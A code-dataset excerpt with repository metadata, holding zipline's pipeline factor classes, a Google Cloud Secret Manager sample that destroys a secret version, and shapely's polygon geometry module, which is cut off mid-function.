self)._validate() def _compute(self, arrays, dates, assets, mask): """ For each row in the input, compute a like-shaped array of per-row ranks. """ return masked_rankdata_2d( arrays[0], mask, self.inputs[0].missing_value, self._method, self._ascending, ) def __repr__(self): return "{type}({input_}, method='{method}', mask={mask})".format( type=type(self).__name__, input_=self.inputs[0], method=self._method, mask=self.mask, ) class CustomFactor(PositiveWindowLengthMixin, CustomTermMixin, Factor): ''' Base class for user-defined Factors. Parameters ---------- inputs : iterable, optional An iterable of `BoundColumn` instances (e.g. USEquityPricing.close), describing the data to load and pass to `self.compute`. If this argument is passed to the CustomFactor constructor, we look for a class-level attribute named `inputs`. window_length : int, optional Number of rows to pass for each input. If this argument is not passed to the CustomFactor constructor, we look for a class-level attribute named `window_length`. mask : zipline.pipeline.Filter, optional A Filter describing the assets on which we should compute each day. Each call to ``CustomFactor.compute`` will only receive assets for which ``mask`` produced True on the day for which compute is being called. Notes ----- Users implementing their own Factors should subclass CustomFactor and implement a method named `compute` with the following signature: .. code-block:: python def compute(self, today, assets, out, *inputs): ... On each simulation date, ``compute`` will be called with the current date, an array of sids, an output array, and an input array for each expression passed as inputs to the CustomFactor constructor. The specific types of the values passed to `compute` are as follows:: today : np.datetime64[ns] Row label for the last row of all arrays passed as `inputs`. assets : np.array[int64, ndim=1] Column labels for `out` and`inputs`. out : np.array[self.dtype, ndim=1] Output array of the same shape as `assets`. `compute` should write its desired return values into `out`. *inputs : tuple of np.array Raw data arrays corresponding to the values of `self.inputs`. ``compute`` functions should expect to be passed NaN values for dates on which no data was available for an asset. This may include dates on which an asset did not yet exist. For example, if a CustomFactor requires 10 rows of close price data, and asset A started trading on Monday June 2nd, 2014, then on Tuesday, June 3rd, 2014, the column of input data for asset A will have 9 leading NaNs for the preceding days on which data was not yet available. Examples -------- A CustomFactor with pre-declared defaults: .. code-block:: python class TenDayRange(CustomFactor): """ Computes the difference between the highest high in the last 10 days and the lowest low. Pre-declares high and low as default inputs and `window_length` as 10. """ inputs = [USEquityPricing.high, USEquityPricing.low] window_length = 10 def compute(self, today, assets, out, highs, lows): from numpy import nanmin, nanmax highest_highs = nanmax(highs, axis=0) lowest_lows = nanmin(lows, axis=0) out[:] = highest_highs - lowest_lows # Doesn't require passing inputs or window_length because they're # pre-declared as defaults for the TenDayRange class. ten_day_range = TenDayRange() A CustomFactor without defaults: .. code-block:: python class MedianValue(CustomFactor): """ Computes the median value of an arbitrary single input over an arbitrary window.. Does not declare any defaults, so values for `window_length` and `inputs` must be passed explicitly on every construction. """ def compute(self, today, assets, out, data): from numpy import nanmedian out[:] = data.nanmedian(data, axis=0) # Values for `inputs` and `window_length` must be passed explicitly to # MedianValue. median_close10 = MedianValue([USEquityPricing.close], window_length=10) median_low15 = MedianValue([USEquityPricing.low], window_length=15) ''' dtype = float64_dtype class Latest(LatestMixin, CustomFactor): """ Factor producing the most recently-known value of `inputs[0]` on each day. The `.latest` attribute of DataSet columns returns an instance of this Factor. """ window_length = 1 def compute(self, today, assets, out, data): out[:] = data[-1]

33.506816

79

0.604026

from functools import wraps from operator import attrgetter from numbers import Number from numpy import inf, where from toolz import curry from zipline.errors import UnknownRankMethod from zipline.lib.normalize import naive_grouped_rowwise_apply from zipline.lib.rank import masked_rankdata_2d from zipline.pipeline.classifiers import Classifier, Everything, Quantiles from zipline.pipeline.mixins import ( CustomTermMixin, LatestMixin, PositiveWindowLengthMixin, RestrictedDTypeMixin, SingleInputMixin, ) from zipline.pipeline.term import ( ComputableTerm, NotSpecified, NotSpecifiedType, Term, ) from zipline.pipeline.expression import ( BadBinaryOperator, COMPARISONS, is_comparison, MATH_BINOPS, method_name_for_op, NumericalExpression, NUMEXPR_MATH_FUNCS, UNARY_OPS, unary_op_name, ) from zipline.pipeline.filters import ( Filter, NumExprFilter, PercentileFilter, NullFilter, ) from zipline.utils.input_validation import expect_types from zipline.utils.math_utils import nanmean, nanstd from zipline.utils.numpy_utils import ( bool_dtype, coerce_to_dtype, datetime64ns_dtype, float64_dtype, int64_dtype, ) from zipline.utils.preprocess import preprocess _RANK_METHODS = frozenset(['average', 'min', 'max', 'dense', 'ordinal']) def coerce_numbers_to_my_dtype(f): @wraps(f) def method(self, other): if isinstance(other, Number): other = coerce_to_dtype(self.dtype, other) return f(self, other) return method @curry def set_attribute(name, value): def decorator(f): setattr(f, name, value) return f return decorator with_name = set_attribute('__name__') with_doc = set_attribute('__doc__') def binop_return_type(op): if is_comparison(op): return NumExprFilter else: return NumExprFactor def binop_return_dtype(op, left, right): if is_comparison(op): if left != right: raise TypeError( "Don't know how to compute {left} {op} {right}.\n" "Comparisons are only supported between Factors of equal " "dtypes.".format(left=left, op=op, right=right) ) return bool_dtype elif left != float64_dtype or right != float64_dtype: raise TypeError( "Don't know how to compute {left} {op} {right}.\n" "Arithmetic operators are only supported between Factors of " "dtype 'float64'.".format( left=left.name, op=op, right=right.name, ) ) return float64_dtype def binary_operator(op): commuted_method_getter = attrgetter(method_name_for_op(op, commute=True)) @with_doc("Binary Operator: '%s'" % op) @with_name(method_name_for_op(op)) @coerce_numbers_to_my_dtype def binary_operator(self, other): # binop_return_type aren't defined when the top-level function is return_type = binop_return_type(op) if isinstance(self, NumExprFactor): self_expr, other_expr, new_inputs = self.build_binary_op( op, other, ) return return_type( "({left}) {op} ({right})".format( left=self_expr, op=op, right=other_expr, ), new_inputs, dtype=binop_return_dtype(op, self.dtype, other.dtype), ) elif isinstance(other, NumExprFactor): return commuted_method_getter(other)(self) elif isinstance(other, Term): if self is other: return return_type( "x_0 {op} x_0".format(op=op), (self,), dtype=binop_return_dtype(op, self.dtype, other.dtype), ) return return_type( "x_0 {op} x_1".format(op=op), (self, other), dtype=binop_return_dtype(op, self.dtype, other.dtype), ) elif isinstance(other, Number): return return_type( "x_0 {op} ({constant})".format(op=op, constant=other), binds=(self,), dtype=binop_return_dtype(op, self.dtype, other.dtype) ) raise BadBinaryOperator(op, self, other) return binary_operator def reflected_binary_operator(op): assert not is_comparison(op) @with_name(method_name_for_op(op, commute=True)) @coerce_numbers_to_my_dtype def reflected_binary_operator(self, other): if isinstance(self, NumericalExpression): self_expr, other_expr, new_inputs = self.build_binary_op( op, other ) return NumExprFactor( "({left}) {op} ({right})".format( left=other_expr, right=self_expr, op=op, ), new_inputs, dtype=binop_return_dtype(op, other.dtype, self.dtype) ) elif isinstance(other, Number): return NumExprFactor( "{constant} {op} x_0".format(op=op, constant=other), binds=(self,), dtype=binop_return_dtype(op, other.dtype, self.dtype), ) raise BadBinaryOperator(op, other, self) return reflected_binary_operator def unary_operator(op): valid_ops = {'-'} if op not in valid_ops: raise ValueError("Invalid unary operator %s." % op) @with_doc("Unary Operator: '%s'" % op) @with_name(unary_op_name(op)) def unary_operator(self): if self.dtype != float64_dtype: raise TypeError( "Can't apply unary operator {op!r} to instance of " "{typename!r} with dtype {dtypename!r}.\n" "{op!r} is only supported for Factors of dtype " "'float64'.".format( op=op, typename=type(self).__name__, dtypename=self.dtype.name, ) ) # This can't be hoisted up a scope because the types returned by # invoked. if isinstance(self, NumericalExpression): return NumExprFactor( "{op}({expr})".format(op=op, expr=self._expr), self.inputs, dtype=float64_dtype, ) else: return NumExprFactor( "{op}x_0".format(op=op), (self,), dtype=float64_dtype, ) return unary_operator def function_application(func): if func not in NUMEXPR_MATH_FUNCS: raise ValueError("Unsupported mathematical function '%s'" % func) @with_name(func) def mathfunc(self): if isinstance(self, NumericalExpression): return NumExprFactor( "{func}({expr})".format(func=func, expr=self._expr), self.inputs, dtype=float64_dtype, ) else: return NumExprFactor( "{func}(x_0)".format(func=func), (self,), dtype=float64_dtype, ) return mathfunc def restrict_to_dtype(dtype, message_template): def processor(factor_method, _, factor_instance): factor_dtype = factor_instance.dtype if factor_dtype != dtype: raise TypeError( message_template.format( method_name=factor_method.__name__, expected_dtype=dtype.name, received_dtype=factor_dtype, ) ) return factor_instance return preprocess(self=processor) # Decorators for Factor methods. if_not_float64_tell_caller_to_use_isnull = restrict_to_dtype( dtype=float64_dtype, message_template=( "{method_name}() was called on a factor of dtype {received_dtype}.\n" "{method_name}() is only defined for dtype {expected_dtype}." "To filter missing data, use isnull() or notnull()." ) ) float64_only = restrict_to_dtype( dtype=float64_dtype, message_template=( "{method_name}() is only defined on Factors of dtype {expected_dtype}," " but it was called on a Factor of dtype {received_dtype}." ) ) FACTOR_DTYPES = frozenset([datetime64ns_dtype, float64_dtype, int64_dtype]) class Factor(RestrictedDTypeMixin, ComputableTerm): ALLOWED_DTYPES = FACTOR_DTYPES # Used by RestrictedDTypeMixin # Dynamically add functions for creating NumExprFactor/NumExprFilter # instances. clsdict = locals() clsdict.update( { method_name_for_op(op): binary_operator(op) # Don't override __eq__ because it breaks comparisons on tuples of for op in MATH_BINOPS.union(COMPARISONS - {'=='}) } ) clsdict.update( { method_name_for_op(op, commute=True): reflected_binary_operator(op) for op in MATH_BINOPS } ) clsdict.update( { unary_op_name(op): unary_operator(op) for op in UNARY_OPS } ) clsdict.update( { funcname: function_application(funcname) for funcname in NUMEXPR_MATH_FUNCS } ) __truediv__ = clsdict['__div__'] __rtruediv__ = clsdict['__rdiv__'] eq = binary_operator('==') @expect_types( mask=(Filter, NotSpecifiedType), groupby=(Classifier, NotSpecifiedType), ) @float64_only def demean(self, mask=NotSpecified, groupby=NotSpecified): def demean(row): return row - nanmean(row) return GroupedRowTransform( transform=demean, factor=self, mask=mask, groupby=groupby, ) @expect_types( mask=(Filter, NotSpecifiedType), groupby=(Classifier, NotSpecifiedType), ) @float64_only def zscore(self, mask=NotSpecified, groupby=NotSpecified): def zscore(row): return (row - nanmean(row)) / nanstd(row) return GroupedRowTransform( transform=zscore, factor=self, mask=mask, groupby=groupby, ) def rank(self, method='ordinal', ascending=True, mask=NotSpecified): return Rank(self, method=method, ascending=ascending, mask=mask) @expect_types(bins=int, mask=(Filter, NotSpecifiedType)) def quantiles(self, bins, mask=NotSpecified): if mask is NotSpecified: mask = self.mask return Quantiles(inputs=(self,), bins=bins, mask=mask) @expect_types(mask=(Filter, NotSpecifiedType)) def quartiles(self, mask=NotSpecified): return self.quantiles(bins=4, mask=mask) @expect_types(mask=(Filter, NotSpecifiedType)) def quintiles(self, mask=NotSpecified): return self.quantiles(bins=5, mask=mask) @expect_types(mask=(Filter, NotSpecifiedType)) def deciles(self, mask=NotSpecified): return self.quantiles(bins=10, mask=mask) def top(self, N, mask=NotSpecified): return self.rank(ascending=False, mask=mask) <= N def bottom(self, N, mask=NotSpecified): return self.rank(ascending=True, mask=mask) <= N def percentile_between(self, min_percentile, max_percentile, mask=NotSpecified): return PercentileFilter( self, min_percentile=min_percentile, max_percentile=max_percentile, mask=mask, ) def isnull(self): if self.dtype == float64_dtype: return self.isnan() else: return NullFilter(self) def notnull(self): return ~self.isnull() @if_not_float64_tell_caller_to_use_isnull def isnan(self): return self != self @if_not_float64_tell_caller_to_use_isnull def notnan(self): return ~self.isnan() @if_not_float64_tell_caller_to_use_isnull def isfinite(self): return (-inf < self) & (self < inf) class NumExprFactor(NumericalExpression, Factor): pass class GroupedRowTransform(Factor): window_length = 0 def __new__(cls, transform, factor, mask, groupby): if mask is NotSpecified: mask = factor.mask else: mask = mask & factor.mask if groupby is NotSpecified: groupby = Everything(mask=mask) return super(GroupedRowTransform, cls).__new__( GroupedRowTransform, transform=transform, inputs=(factor, groupby), missing_value=factor.missing_value, mask=mask, dtype=factor.dtype, ) def _init(self, transform, *args, **kwargs): self._transform = transform return super(GroupedRowTransform, self)._init(*args, **kwargs) @classmethod def static_identity(cls, transform, *args, **kwargs): return ( super(GroupedRowTransform, cls).static_identity(*args, **kwargs), transform, ) def _compute(self, arrays, dates, assets, mask): data = arrays[0] null_group_value = self.inputs[1].missing_value group_labels = where( mask, arrays[1], null_group_value, ) return where( group_labels != null_group_value, naive_grouped_rowwise_apply( data=data, group_labels=group_labels, func=self._transform, ), self.missing_value, ) @property def transform_name(self): return self._transform.__name__ def short_repr(self): return type(self).__name__ + '(%r)' % self.transform_name class Rank(SingleInputMixin, Factor): window_length = 0 dtype = float64_dtype def __new__(cls, factor, method, ascending, mask): return super(Rank, cls).__new__( cls, inputs=(factor,), method=method, ascending=ascending, mask=mask, ) def _init(self, method, ascending, *args, **kwargs): self._method = method self._ascending = ascending return super(Rank, self)._init(*args, **kwargs) @classmethod def static_identity(cls, method, ascending, *args, **kwargs): return ( super(Rank, cls).static_identity(*args, **kwargs), method, ascending, ) def _validate(self): if self._method not in _RANK_METHODS: raise UnknownRankMethod( method=self._method, choices=set(_RANK_METHODS), ) return super(Rank, self)._validate() def _compute(self, arrays, dates, assets, mask): return masked_rankdata_2d( arrays[0], mask, self.inputs[0].missing_value, self._method, self._ascending, ) def __repr__(self): return "{type}({input_}, method='{method}', mask={mask})".format( type=type(self).__name__, input_=self.inputs[0], method=self._method, mask=self.mask, ) class CustomFactor(PositiveWindowLengthMixin, CustomTermMixin, Factor): dtype = float64_dtype class Latest(LatestMixin, CustomFactor): window_length = 1 def compute(self, today, assets, out, data): out[:] = data[-1]

true

f705417d19cb9869018feb9f86bc6330c83dbbeb

1,953

py

Python

secretmanager/api-client/destroy_secret_version.py

m-abba/python-docs-samples

b00f00d734b89edae8ae6876d6261e19dc82cd34

[ "Apache-2.0" ]

1

2020-03-05T18:24:45.000Z

secretmanager/api-client/destroy_secret_version.py

m-abba/python-docs-samples

b00f00d734b89edae8ae6876d6261e19dc82cd34

[ "Apache-2.0" ]

1

2022-01-14T23:28:27.000Z

secretmanager/api-client/destroy_secret_version.py

m-abba/python-docs-samples

b00f00d734b89edae8ae6876d6261e19dc82cd34

[ "Apache-2.0" ]

2

2020-06-07T07:03:00.000Z

2021-04-10T18:22:25.000Z

#!/usr/bin/env python # Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and """ command line application and sample code for destroying a secret verison. """ import argparse # [START secretmanager_destroy_secret_version] def destroy_secret_version(project_id, secret_id, version_id): """ Destroy the given secret version, making the payload irrecoverable. Other secrets versions are unaffected. """ # Import the Secret Manager client library. from google.cloud import secretmanager_v1beta1 as secretmanager # Create the Secret Manager client. client = secretmanager.SecretManagerServiceClient() # Build the resource name of the secret version name = client.secret_version_path(project_id, secret_id, version_id) # Destroy the secret version. response = client.destroy_secret_version(name) print('Destroyed secret version: {}'.format(response.name)) # [END secretmanager_destroy_secret_version] return response if __name__ == '__main__': parser = argparse.ArgumentParser( description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('project_id', help='id of the GCP project') parser.add_argument('secret_id', help='id of the secret from which to act') parser.add_argument('version_id', help='id of the version to destroy') args = parser.parse_args() destroy_secret_version(args.project_id, args.secret_id, args.version_id)

34.263158

79

0.752176

import argparse def destroy_secret_version(project_id, secret_id, version_id): from google.cloud import secretmanager_v1beta1 as secretmanager client = secretmanager.SecretManagerServiceClient() name = client.secret_version_path(project_id, secret_id, version_id) response = client.destroy_secret_version(name) print('Destroyed secret version: {}'.format(response.name)) return response if __name__ == '__main__': parser = argparse.ArgumentParser( description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('project_id', help='id of the GCP project') parser.add_argument('secret_id', help='id of the secret from which to act') parser.add_argument('version_id', help='id of the version to destroy') args = parser.parse_args() destroy_secret_version(args.project_id, args.secret_id, args.version_id)

true

f70541cbb5540d0c4d4bcc2d81b9b62daf4c08a3

13,756

py

Python

shapely/geometry/polygon.py

tsauerwein/shapely

d0bdd5f99cc8be9ce6a1022ff971fbd5deff2dad

[ "BSD-3-Clause" ]

null

shapely/geometry/polygon.py

tsauerwein/shapely

d0bdd5f99cc8be9ce6a1022ff971fbd5deff2dad

[ "BSD-3-Clause" ]

null

shapely/geometry/polygon.py

tsauerwein/shapely

d0bdd5f99cc8be9ce6a1022ff971fbd5deff2dad

[ "BSD-3-Clause" ]

null

"""Polygons and their linear ring components """ from ctypes import c_double, c_void_p, cast, POINTER from ctypes import ArgumentError import weakref from shapely.algorithms.cga import signed_area from shapely.coords import required from shapely.geos import lgeos from shapely.geometry.base import BaseGeometry from shapely.geometry.linestring import LineString, LineStringAdapter from shapely.geometry.proxy import PolygonProxy __all__ = ['Polygon', 'asPolygon', 'LinearRing', 'asLinearRing'] class LinearRing(LineString): """ A closed one-dimensional feature comprising one or more line segments A LinearRing that crosses itself or touches itself at a single point is invalid and operations on it may fail. """ def __init__(self, coordinates=None): """ Parameters ---------- coordinates : sequence A sequence of (x, y [,z]) numeric coordinate pairs or triples Rings are implicitly closed. There is no need to specific a final coordinate pair identical to the first. Example ------- Construct a square ring. >>> ring = LinearRing( ((0, 0), (0, 1), (1 ,1 ), (1 , 0)) ) >>> ring.is_closed True >>> ring.length 4.0 """ BaseGeometry.__init__(self) if coordinates is not None: self._set_coords(coordinates) @property def __geo_interface__(self): return { 'type': 'LinearRing', 'coordinates': tuple(self.coords) } # Coordinate access _get_coords = BaseGeometry._get_coords def _set_coords(self, coordinates): self.empty() self._geom, self._ndim = geos_linearring_from_py(coordinates) coords = property(_get_coords, _set_coords) @property def is_ccw(self): """True is the ring is oriented counter clock-wise""" return bool(self.impl['is_ccw'](self)) @property def is_simple(self): """True if the geometry is simple, meaning that any self-intersections are only at boundary points, else False""" return LineString(self).is_simple class LinearRingAdapter(LineStringAdapter): __p__ = None def __init__(self, context): self.context = context self.factory = geos_linearring_from_py @property def __geo_interface__(self): return { 'type': 'LinearRing', 'coordinates': tuple(self.coords) } coords = property(BaseGeometry._get_coords) def asLinearRing(context): """Adapt an object to the LinearRing interface""" return LinearRingAdapter(context) class InteriorRingSequence(object): _factory = None _geom = None __p__ = None _ndim = None _index = 0 _length = 0 __rings__ = None _gtag = None def __init__(self, parent): self.__p__ = parent self._geom = parent._geom self._ndim = parent._ndim def __iter__(self): self._index = 0 self._length = self.__len__() return self def next(self): if self._index < self._length: ring = self._get_ring(self._index) self._index += 1 return ring else: raise StopIteration def __len__(self): return lgeos.GEOSGetNumInteriorRings(self._geom) def __getitem__(self, key): m = self.__len__() if isinstance(key, int): if key + m < 0 or key >= m: raise IndexError("index out of range") if key < 0: i = m + key else: i = key return self._get_ring(i) elif isinstance(key, slice): res = [] start, stop, stride = key.indices(m) for i in xrange(start, stop, stride): res.append(self._get_ring(i)) return res else: raise TypeError("key must be an index or slice") @property def _longest(self): max = 0 for g in iter(self): l = len(g.coords) if l > max: max = l def gtag(self): return hash(repr(self.__p__)) def _get_ring(self, i): gtag = self.gtag() if gtag != self._gtag: self.__rings__ = {} if i not in self.__rings__: g = lgeos.GEOSGetInteriorRingN(self._geom, i) ring = LinearRing() ring.__geom__ = g ring.__p__ = self ring._owned = True ring._ndim = self._ndim self.__rings__[i] = weakref.ref(ring) return self.__rings__[i]() class Polygon(BaseGeometry): """ A two-dimensional figure bounded by a linear ring A polygon has a non-zero area. It may have one or more negative-space "holes" which are also bounded by linear rings. If any rings cross each other, the feature is invalid and operations on it may fail. Attributes ---------- exterior : LinearRing The ring which bounds the positive space of the polygon. interiors : sequence A sequence of rings which bound all existing holes. """ _exterior = None _interiors = [] _ndim = 2 def __init__(self, shell=None, holes=None): """ Parameters ---------- shell : sequence A sequence of (x, y [,z]) numeric coordinate pairs or triples holes : sequence A sequence of objects which satisfy the same requirements as the shell parameters above Example ------- Create a square polygon with no holes >>> coords = ((0., 0.), (0., 1.), (1., 1.), (1., 0.), (0., 0.)) >>> polygon = Polygon(coords) >>> polygon.area 1.0 """ BaseGeometry.__init__(self) if shell is not None: self._geom, self._ndim = geos_polygon_from_py(shell, holes) @property def exterior(self): if self.is_empty: return None elif self._exterior is None or self._exterior() is None: g = lgeos.GEOSGetExteriorRing(self._geom) ring = LinearRing() ring.__geom__ = g ring.__p__ = self ring._owned = True ring._ndim = self._ndim self._exterior = weakref.ref(ring) return self._exterior() @property def interiors(self): if self.is_empty: return [] return InteriorRingSequence(self) @property def ctypes(self): if not self._ctypes_data: self._ctypes_data = self.exterior.ctypes return self._ctypes_data @property def __array_interface__(self): raise NotImplementedError( "A polygon does not itself provide the array interface. Its rings do.") def _get_coords(self): raise NotImplementedError( "Component rings have coordinate sequences, but the polygon does not") def _set_coords(self, ob): raise NotImplementedError( "Component rings have coordinate sequences, but the polygon does not") @property def coords(self): raise NotImplementedError( "Component rings have coordinate sequences, but the polygon does not") @property def __geo_interface__(self): coords = [tuple(self.exterior.coords)] for hole in self.interiors: coords.append(tuple(hole.coords)) return { 'type': 'Polygon', 'coordinates': tuple(coords) } class PolygonAdapter(PolygonProxy, Polygon): def __init__(self, shell, holes=None): self.shell = shell self.holes = holes self.context = (shell, holes) self.factory = geos_polygon_from_py @property def _ndim(self): try: # From array protocol array = self.shell.__array_interface__ n = array['shape'][1] assert n == 2 or n == 3 return n except AttributeError: # Fall back on list return len(self.shell[0]) def asPolygon(shell, holes=None): """Adapt objects to the Polygon interface""" return PolygonAdapter(shell, holes) def orient(polygon, sign=1.0): s = float(sign) rings = [] ring = polygon.exterior if signed_area(ring)/s >= 0.0: rings.append(ring) else: rings.append(list(ring.coords)[::-1]) for ring in polygon.interiors: if signed_area(ring)/s <= 0.0: rings.append(ring) else: rings.append(list(ring.coords)[::-1]) return Polygon(rings[0], rings[1:]) def geos_linearring_from_py(ob, update_geom=None, update_ndim=0): # If numpy is present, we use numpy.require to ensure that we have a # C-continguous array that owns its data. View data will be copied. ob = required(ob) try: # From array protocol array = ob.__array_interface__ assert len(array['shape']) == 2 m = array['shape'][0] n = array['shape'][1] if m < 3: raise ValueError( "A LinearRing must have at least 3 coordinate tuples") assert n == 2 or n == 3 # Make pointer to the coordinate array if isinstance(array['data'], tuple): # numpy tuple (addr, read-only) cp = cast(array['data'][0], POINTER(c_double)) else: cp = array['data'] # Add closing coordinates to sequence? if cp[0] != cp[m*n-n] or cp[1] != cp[m*n-n+1]: M = m + 1 else: M = m # Create a coordinate sequence if update_geom is not None: cs = lgeos.GEOSGeom_getCoordSeq(update_geom) if n != update_ndim: raise ValueError( "Wrong coordinate dimensions; this geometry has dimensions: %d" \ % update_ndim) else: cs = lgeos.GEOSCoordSeq_create(M, n) # add to coordinate sequence for i in xrange(m): # Because of a bug in the GEOS C API, # always set X before Y lgeos.GEOSCoordSeq_setX(cs, i, cp[n*i]) lgeos.GEOSCoordSeq_setY(cs, i, cp[n*i+1]) if n == 3: lgeos.GEOSCoordSeq_setZ(cs, i, cp[n*i+2]) # Add closing coordinates to sequence? if M > m: # Because of a bug in the GEOS C API, # always set X before Y lgeos.GEOSCoordSeq_setX(cs, M-1, cp[0]) lgeos.GEOSCoordSeq_setY(cs, M-1, cp[1]) if n == 3: lgeos.GEOSCoordSeq_setZ(cs, M-1, cp[2]) except AttributeError: # Fall back on list m = len(ob) n = len(ob[0]) if m < 3: raise ValueError( "A LinearRing must have at least 3 coordinate tuples") assert (n == 2 or n == 3) # Add closing coordinates if not provided if m == 3 or ob[0][0] != ob[-1][0] or ob[0][1] != ob[-1][1]: M = m + 1 else: M = m # Create a coordinate sequence if update_geom is not None: cs = lgeos.GEOSGeom_getCoordSeq(update_geom) if n != update_ndim: raise ValueError( "Wrong coordinate dimensions; this geometry has dimensions: %d" \ % update_ndim) else: cs = lgeos.GEOSCoordSeq_create(M, n) # add to coordinate sequence for i in xrange(m): coords = ob[i] # Because of a bug in the GEOS C API, # always set X before Y lgeos.GEOSCoordSeq_setX(cs, i, coords[0]) lgeos.GEOSCoordSeq_setY(cs, i, coords[1]) if n == 3: try: lgeos.GEOSCoordSeq_setZ(cs, i, coords[2]) except IndexError: raise ValueError("Inconsistent coordinate dimensionality") # Add closing coordinates to sequence? if M > m: coords = ob[0] # Because of a bug in the GEOS C API, # always set X before Y lgeos.GEOSCoordSeq_setX(cs, M-1, coords[0]) lgeos.GEOSCoordSeq_setY(cs, M-1, coords[1]) if n == 3: lgeos.GEOSCoordSeq_setZ(cs, M-1, coords[2]) if update_geom is not None: return None else: return lgeos.GEOSGeom_createLinearRing(cs), n def update_linearring_from_py(geom, ob): geos_linearring_from_py(ob, geom._geom, geom._ndim) def geos_polygon_from_py(shell, holes=None): if shell is not None: geos_shell, ndim = geos_linearring_from_py(shell) if holes: ob = holes L = len(ob) exemplar = ob[0] try: N = len(exemplar[0]) except TypeError: N = exemplar._ndim assert L >= 1 assert N == 2 or N == 3 # Array of pointers to ring geometries geos_holes = (c_void_p * L)() # add to coordinate sequence for l in xrange(L): geom, ndim = geos_linearring_from_py(ob[l]) geos_holes[l] = cast(geom, c_void_p) else: geos_holes = POINTER(c_void_p)() L = 0 return ( lgeos.GEOSGeom_createPolygon( c_void_p(geos_shell), geos_holes, L ), ndim ) # Test runner def _test(): import doctest doctest.testmod() if __name__ == "__main__": _test()

29.268085

81

0.557793

from ctypes import c_double, c_void_p, cast, POINTER from ctypes import ArgumentError import weakref from shapely.algorithms.cga import signed_area from shapely.coords import required from shapely.geos import lgeos from shapely.geometry.base import BaseGeometry from shapely.geometry.linestring import LineString, LineStringAdapter from shapely.geometry.proxy import PolygonProxy __all__ = ['Polygon', 'asPolygon', 'LinearRing', 'asLinearRing'] class LinearRing(LineString): def __init__(self, coordinates=None): BaseGeometry.__init__(self) if coordinates is not None: self._set_coords(coordinates) @property def __geo_interface__(self): return { 'type': 'LinearRing', 'coordinates': tuple(self.coords) } _get_coords = BaseGeometry._get_coords def _set_coords(self, coordinates): self.empty() self._geom, self._ndim = geos_linearring_from_py(coordinates) coords = property(_get_coords, _set_coords) @property def is_ccw(self): return bool(self.impl['is_ccw'](self)) @property def is_simple(self): return LineString(self).is_simple class LinearRingAdapter(LineStringAdapter): __p__ = None def __init__(self, context): self.context = context self.factory = geos_linearring_from_py @property def __geo_interface__(self): return { 'type': 'LinearRing', 'coordinates': tuple(self.coords) } coords = property(BaseGeometry._get_coords) def asLinearRing(context): return LinearRingAdapter(context) class InteriorRingSequence(object): _factory = None _geom = None __p__ = None _ndim = None _index = 0 _length = 0 __rings__ = None _gtag = None def __init__(self, parent): self.__p__ = parent self._geom = parent._geom self._ndim = parent._ndim def __iter__(self): self._index = 0 self._length = self.__len__() return self def next(self): if self._index < self._length: ring = self._get_ring(self._index) self._index += 1 return ring else: raise StopIteration def __len__(self): return lgeos.GEOSGetNumInteriorRings(self._geom) def __getitem__(self, key): m = self.__len__() if isinstance(key, int): if key + m < 0 or key >= m: raise IndexError("index out of range") if key < 0: i = m + key else: i = key return self._get_ring(i) elif isinstance(key, slice): res = [] start, stop, stride = key.indices(m) for i in xrange(start, stop, stride): res.append(self._get_ring(i)) return res else: raise TypeError("key must be an index or slice") @property def _longest(self): max = 0 for g in iter(self): l = len(g.coords) if l > max: max = l def gtag(self): return hash(repr(self.__p__)) def _get_ring(self, i): gtag = self.gtag() if gtag != self._gtag: self.__rings__ = {} if i not in self.__rings__: g = lgeos.GEOSGetInteriorRingN(self._geom, i) ring = LinearRing() ring.__geom__ = g ring.__p__ = self ring._owned = True ring._ndim = self._ndim self.__rings__[i] = weakref.ref(ring) return self.__rings__[i]() class Polygon(BaseGeometry): _exterior = None _interiors = [] _ndim = 2 def __init__(self, shell=None, holes=None): BaseGeometry.__init__(self) if shell is not None: self._geom, self._ndim = geos_polygon_from_py(shell, holes) @property def exterior(self): if self.is_empty: return None elif self._exterior is None or self._exterior() is None: g = lgeos.GEOSGetExteriorRing(self._geom) ring = LinearRing() ring.__geom__ = g ring.__p__ = self ring._owned = True ring._ndim = self._ndim self._exterior = weakref.ref(ring) return self._exterior() @property def interiors(self): if self.is_empty: return [] return InteriorRingSequence(self) @property def ctypes(self): if not self._ctypes_data: self._ctypes_data = self.exterior.ctypes return self._ctypes_data @property def __array_interface__(self): raise NotImplementedError( "A polygon does not itself provide the array interface. Its rings do.") def _get_coords(self): raise NotImplementedError( "Component rings have coordinate sequences, but the polygon does not") def _set_coords(self, ob): raise NotImplementedError( "Component rings have coordinate sequences, but the polygon does not") @property def coords(self): raise NotImplementedError( "Component rings have coordinate sequences, but the polygon does not") @property def __geo_interface__(self): coords = [tuple(self.exterior.coords)] for hole in self.interiors: coords.append(tuple(hole.coords)) return { 'type': 'Polygon', 'coordinates': tuple(coords) } class PolygonAdapter(PolygonProxy, Polygon): def __init__(self, shell, holes=None): self.shell = shell self.holes = holes self.context = (shell, holes) self.factory = geos_polygon_from_py @property def _ndim(self): try: array = self.shell.__array_interface__ n = array['shape'][1] assert n == 2 or n == 3 return n except AttributeError: return len(self.shell[0]) def asPolygon(shell, holes=None): return PolygonAdapter(shell, holes) def orient(polygon, sign=1.0): s = float(sign) rings = [] ring = polygon.exterior if signed_area(ring)/s >= 0.0: rings.append(ring) else: rings.append(list(ring.coords)[::-1]) for ring in polygon.interiors: if signed_area(ring)/s <= 0.0: rings.append(ring) else: rings.append(list(ring.coords)[::-1]) return Polygon(rings[0], rings[1:]) def geos_linearring_from_py(ob, update_geom=None, update_ndim=0): ob = required(ob) try: array = ob.__array_interface__ assert len(array['shape']) == 2 m = array['shape'][0] n = array['shape'][1] if m < 3: raise ValueError( "A LinearRing must have at least 3 coordinate tuples") assert n == 2 or n == 3 if isinstance(array['data'], tuple): cp = cast(array['data'][0], POINTER(c_double)) else: cp = array['data'] if cp[0] != cp[m*n-n] or cp[1] != cp[m*n-n+1]: M = m + 1 else: M = m if update_geom is not None: cs = lgeos.GEOSGeom_getCoordSeq(update_geom) if n != update_ndim: raise ValueError( "Wrong coordinate dimensions; this geometry has dimensions: %d" \ % update_ndim) else: cs = 